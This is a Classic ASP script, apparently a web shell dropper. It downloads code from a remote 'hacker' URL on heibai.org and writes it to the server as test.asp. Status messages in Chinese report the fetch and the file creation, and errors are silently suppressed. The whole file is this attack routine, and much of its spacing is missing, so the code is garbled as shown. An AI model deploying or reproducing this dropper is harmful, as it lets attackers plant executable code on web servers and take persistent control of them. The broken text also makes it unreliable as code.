<%
FunctionGetPage(url)
dimRetrieval
SetRetrieval=createObject("Microsoft.XMLHTTP")
WithRetrieval
.Open"Get",url,False',"",""
.Send
GetPage=BytesToBstr(.ResponseBody)
EndWith
SetRetrieval=Nothing
EndFunction
FunctionBytesToBstr(body)
dimobjstream
setobjstream=Server.createObject("adodb.stream")
objstream.Type=1
objstream.Mode=3
objstream.Open
objstream.Writebody
objstream.Position=0
objstream.Type=2
objstream.Charset="GB2312"
BytesToBstr=objstream.ReadText
objstream.Close
setobjstream=nothing
EndFunction
onerrorresumenext
Url="http://www.heibai.org/hacker/daemon.txt"
response.write"开始取得远程代码........"
wstr=GetPage(Url)
Setfs=Server.createObject("Scripting.FileSystemObject")
SetCrFi=fs.createTextFile(server.MapPath("./")&"test.asp")
Crfi.Writeline(wstr)
setCrFi=nothing
setfs=nothing
response.write"...<fontcolor=red>生成test.asp文件成功</font>"
%>